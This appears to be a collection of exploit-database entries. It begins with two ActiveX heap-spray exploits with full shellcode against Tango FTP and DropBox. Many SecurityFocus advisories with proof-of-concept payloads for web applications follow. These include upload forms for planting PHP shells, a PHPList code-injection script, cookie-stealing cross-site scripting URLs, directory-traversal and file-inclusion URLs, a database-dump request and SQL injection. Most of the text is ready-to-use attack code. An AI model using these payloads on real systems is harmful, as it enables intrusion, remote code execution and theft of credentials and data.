<br>Vendor Homepage:http://www.tangoftp.com/index.html</br>
<br>Software Link:http://www.tangoftp.com/downloads/index.html</br>
<br>Author: metacom</br>
<!--Video Poc:http://bit.ly/1fjtq89 -->
<SCRIPT>
var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var sprayContainer = unescape("%u9090%u9090");
var heapToAddress = 0x0a0a0a0a;
function Tryme()
{
var size_buff = 5000;
var x = unescape("%0a%0a%0a%0a");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);
boom.GetWebStoreURL(x, 1);
}
function getsprayContainer(sprayContainer, sprayContainerSize)
{
while (sprayContainer.length*2<sprayContainerSize)
{
sprayContainer += sprayContainer;
}
sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);
return (sprayContainer);
}
var heapBlockSize = 0x500000;
var SizeOfHeap = 0x30;
var payLoadSize = (heapspray.length * 2);
var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);
var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = sprayContainer + heapspray;
}
</SCRIPT>
</BODY>
</HTML>
<HTML>
<BODY>
<input language=JavaScript onclick=Tryme() type=button value="Launch Calc">
<object id=boom classid="clsid:{C915F573-4C11-4968-9080-29E611FDBE9F}"></object>
<br>Tango DropBox Activex Heap Spray Exploit</br>
<br>Version:3.1.5 + PRO</br>
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>
<br>Vendor Homepage:http://etonica.com/dropbox/index.html</br>
<br>Software Link:http://etonica.com/dropbox/download.html</br>
<br>Author: metacom</br>
<!--Video Poc:http://bit.ly/1K0hnYS -->
<SCRIPT>
var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var sprayContainer = unescape("%u9090%u9090");
var heapToAddress = 0x0a0a0a0a;
function Tryme()
{
var size_buff = 5000;
var x = unescape("%0a%0a%0a%0a");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);
boom.GetWebStoreURL(x, 1);
}
function getsprayContainer(sprayContainer, sprayContainerSize)
{
while (sprayContainer.length*2<sprayContainerSize)
{
sprayContainer += sprayContainer;
}
sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);
return (sprayContainer);
}
var heapBlockSize = 0x500000;
var SizeOfHeap = 0x30;
var payLoadSize = (heapspray.length * 2);
var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);
var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = sprayContainer + heapspray;
}
</SCRIPT>
</BODY>
</HTML>
source: https://www.securityfocus.com/bid/53696/info
DynPage is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
DynPage 1.0 is vulnerable; other versions may also be affected.
########>>>>> Explo!T <<<<<<##################
# Download : [http://www.dynpage.net/download/dynpage.zip]
### [ Upload Sh3LL.php;.txt ] =>
<form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files" method="post" enctype="multipart/form-data" >
<input name="Files" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>
### [ Upload Sh3LL.php;.gif ;.jpeg ] =>
<!-- p0c 1 -->
<form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Images" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>
<!-- p0c 2 -->
<form action="http://www.example.com/[path]/js/ckfinder/ckfinder.html?Type=Images" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>
### [ Upload Sh3LL.php;.swf ;.flv ] =>
<!-- p0c 1 -->
<form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Flash" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>
<!-- p0c 2 -->
<form action="http://www.example.com/[path]/js/ckfinder/ckfinder.html?Type=Flash" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>
############# << ThE|End
source: https://www.securityfocus.com/bid/53693/info
PHPList is prone to a remote PHP code-injection vulnerability.
An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
PHPList 2.10.9 is vulnerable; other versions may also be affected.
# --------------------------------------- #
# This PoC was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
# --------------------------------------- #
# 1) Bug
# 2) PoC
# --------------------------------------- #
# 2) Bug :
# An attacker might execute arbitrary PHP code with this vulnerability.
# User tainted data is embedded into a function that compiles
# PHP code on the run and #executes it thus allowing an attacker to inject
own PHP code that will be
# executed. This vulnerability can lead to full server compromise.
# Look To The File Named (Sajax.php) In Dir (admin/commonlib/lib) On Line
(63)
# 63. $func_name = $_POST["rs"];
# if (! empty($_POST["rsargs"]))
# $args = $_POST["rsargs"];
# else
# $args = array();
# }
#
# if (! in_array($func_name, $sajax_export_list))
# echo "-:$func_name not callable";
# else {
# echo "+:";
# 74. $result = call_user_func_array($func_name, $args);
# echo $result;
# }
# exit;
# }
# So We Have Variable Func Name With Post rs :)
# In Above Of Code We Have $_GET['rs']; So This Is An Attacker Wan't It.
# Look To Line (74).
# Call_User_Func_Array($func_name, $args);
# Attacker Can Inject In Get Paramater Or POST PHP Code.
# --------------------------------------- #
# 3) PoC :
# <?php
# $target = $argv[1];
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# curl_setopt($ch, CURLOPT_URL, "http://$target/Sajax.php");
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_POST, 1);
# curl_setopt($ch, CURLOPT_POSTFIELDS, "rs=whoami");
# curl_setopt($ch, CURLOPT_TIMEOUT, 3);
# curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
# curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
# curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
source: https://www.securityfocus.com/bid/53692/info
AzDGDatingMedium is prone to multiple remote vulnerabilities that includes a SQL-injection vulnerability, an information-disclosure vulnerability, a directory-traversal vulnerability and multiple cross-site scripting vulnerabilities,
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database and gain access to sensitive information.
AzDGDatingMedium 1.9.3 is vulnerable; other versions may also be affected.
http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php%00<script>alert(1);</script>
http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default%00<script>alert("AkaStep");</script>&dir=../include/&f=config.inc.php
http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php
source: https://www.securityfocus.com/bid/53674/info
The Yellow Duck Framework is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.
Exploiting this vulnerability could allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.
Yellow Duck Framework Beta1 2.0 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?id=./database/config.php
source: https://www.securityfocus.com/bid/53675/info
phpCollab is prone to an unauthorized-access and an arbitrary-file-upload vulnerabilities.
Attackers can leverage these issues to gain unauthorized access to application data and to upload and execute arbitrary code in the context of the application.
phpCollab 2.5 is vulnerable; other versions may also be affected.
POST
/phpcollab/projects_site/uploadfile.php?PHPSESSID=f2bb0a2008d0791d1ac45a8a3
8e51ed2&action=add&project=&task= HTTP/1.1
Host: 192.0.0.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1)
Gecko/20100101 Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
DNT: 1
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6cvltmkam146ncp3hfbucumfk6
Referer: http://192.0.0.2/
Content-Type: multipart/form-data;
boundary=---------------------------19548990971636807826563613512
Content-Length: 29914
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000000
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="maxCustom"
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="commentsField"
Hello there
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="upload"; filename="filename.jpg"
Content-Type: image/jpeg
file data stripped
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="submit"
Save
-----------------------------19548990971636807826563613512--
source: https://www.securityfocus.com/bid/53675/info
phpCollab is prone to an unauthorized-access and an arbitrary-file-upload vulnerabilities.
Attackers can leverage these issues to gain unauthorized access to application data and to upload and execute arbitrary code in the context of the application.
phpCollab 2.5 is vulnerable; other versions may also be affected.
curl -i http://www.example.com/phpcollab/administration/phpinfo.php
source: https://www.securityfocus.com/bid/53669/info
PragmaMX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
PragmaMX 1.12.1 is vulnerable; other versions may also be affected.
http://www.example.com/includes/wysiwyg/spaw/editor/plugins/imgpopup/img_popup.php?img_url=%22%3E%3Cscript%3E alert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/53669/info
PragmaMX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
PragmaMX 1.12.1 is vulnerable; other versions may also be affected.
http://www.example.com/modules.php?name=Themetest&%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
source: https://www.securityfocus.com/bid/53659/info
Ajaxmint Gallery is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and to execute local scripts in the context of the webserver process. This may aid in further attacks.
Ajaxmint Gallery 1.0 is vulnerable; other versions may also be affected.
http://www.example.com/learn/ajaxmint/ajaxmint-gallery/admin/index.php?c=..\..\..\..\ajaxmint-gallery/pictures/5_me.jpg%00 [aka shell]
source: https://www.securityfocus.com/bid/53662/info
Pligg CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Pligg CMS 1.2.2 is vulnerable; other versions may also be affected.
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_low=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_low=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/53656/info
phpCollab is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.
An attacker can exploit this issue to download backup files that contain sensitive information. Information harvested may aid in launching further attacks.
phpCollab 2.5 is vulnerable; other versions may also be affected.
http://www.example.com/phpcollab/includes/phpmyadmin/tbl_dump.php
POST DATA:
table_select%5B%5D=assignments&table_select%5B%5D=bookmarks&table_select%5B
%5D=bookmarks_categories&table_select%5B%5D=calendar&table_select%5B%5D=fil
es&table_select%5B%5D=invoices&table_select%5B%5D=invoices_items&table_sele
ct%5B%5D=logs&table_select%5B%5D=members&table_select%5B%5D=newsdeskcomment
s&table_select%5B%5D=newsdeskposts&table_select%5B%5D=notes&table_select%5B
%5D=notifications&table_select%5B%5D=organizations&table_select%5B%5D=phase
s&table_select%5B%5D=posts&table_select%5B%5D=projects&table_select%5B%5D=r
eports&table_select%5B%5D=services&table_select%5B%5D=sorting&table_select%
5B%5D=subtasks&table_select%5B%5D=support_posts&table_select%5B%5D=support_
requests&table_select%5B%5D=tasks&table_select%5B%5D=teams&table_select%5B%
5D=topics&table_select%5B%5D=updates&what=data&drop=1&asfile=sendit&server=
1&lang=en&db=phpcollab
source: https://www.securityfocus.com/bid/53655/info
RuubikCMS is prone to multiple cross-site-scripting vulnerabilities, multiple information-disclosure vulnerabilities, and directory-traversal vulnerability.
Attackers may leverage these issues to steal cookie-based authentication credentials, to execute arbitrary script code in the browser, and to retrieve arbitrary files from the affected system in the context of the affected site by using specially crafted request messages with directory-traversal sequences. This may allow the attacker to obtain sensitive information; other attacks are also possible.
RuubikCMS 1.1.0 and 1.1.1 are vulnerable.
cross-site-scripting:
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/folders.php?type=image&folder=&feid="/>a<script>alert(1);</script>
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder=&feid="</a><script>alert(1);</script>
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/edit.php?type=image"</a><script>alert(1);</script>&folder=&feid=owned
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/upload.php?feid="</a><script>alert("AkaStep");</script>
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder=&find="><script>alert("AkaStep");</script>
Information-disclosure:
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/error.log
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/newsmenu.php
http://www.example.com/learn/ruubikcms/extra/login/session.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/dbconnection.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/extrapagemenu.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/footer.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/head.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/mainmenu.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/multilang.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/newsmenu.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/pagemenu.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/required.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/snippetmenu.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/includes/usersmenu.php
http://www.example.com/learn/ruubikcms/ruubikcms/cms/login/form.php
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/filelink/filelink.php
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/tb_standalone.js.php
http://www.example.com/learn/ruubikcms/ruubikcms/tiny_mce/plugins/tinybrowser/tb_tinymce.js.php
http://www.example.com/learn/ruubikcms/ruubikcms/website/scripts/jquery.lightbox-0.5.js.php
Traversal vuln:
==============SNIP==================
<?php
// --- Image displayer with authentication
// --- Sample call: image.php?f=imgfile.jpg
// --- Sample call with subfolder: image.php?f=subfolder/imgfile.jpg
require('../ruubikcms/includes/dbconfig.php');
$dbh = new PDO(PDO_DB_DRIVER.':../'.RUUBIKCMS_FOLDER.'/'.PDO_DB_FOLDER.'/'.PDO_DB_NAME); // database connection object
require('../ruubikcms/includes/commonfunc.php');
define('LOGOUT_TIME', query_single("SELECT logout_time FROM options WHERE id = 1"));
require('login/session.php');
// check if logged in
if (!@$_SESSION['uid']) die("Access denied.");
// images directory
define('BASE_DIR','useruploads/images/');
// make sure program execution doesn't time out
@set_time_limit(0);
if (!isset($_GET['f']) OR empty($_GET['f'])) die("Please specify image.");
if (strstr($_GET['f'], '../')) die('Error');
$fpath = BASE_DIR.$_GET['f'];
if (!is_file($fpath)) die("File does not exist.");
// file size in bytes
// $fsize = filesize($fpath);
// get mime type
$mtype = '';
if (function_exists('mime_content_type')) {
$mtype = mime_content_type($fpath);
} elseif (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME); // return mime type
$mtype = finfo_file($finfo, $fpath);
finfo_close($finfo);
}
if ($mtype == '') {
$mtype = "image/jpeg";
}
header("Content-type: $mtype");
readfile($fpath);
?>
=====================================
source: https://www.securityfocus.com/bid/53648/info
phAlbum is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
phAlbum 1.5.1 is vulnerable; other versions may also be affected.
http://www.example.com/demos/phAlbum/index.php/%F6%22%20onmouseover=document.write%28%22index.html%22%29%20//
source: https://www.securityfocus.com/bid/53644/info
Plogger Photo Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit will allow an attacker to compromise the application, to access or modify data, or to exploit latent vulnerabilities in the underlying database.
http://www.example.com/demo/plog-rss.php?id=1%27%22&level=collection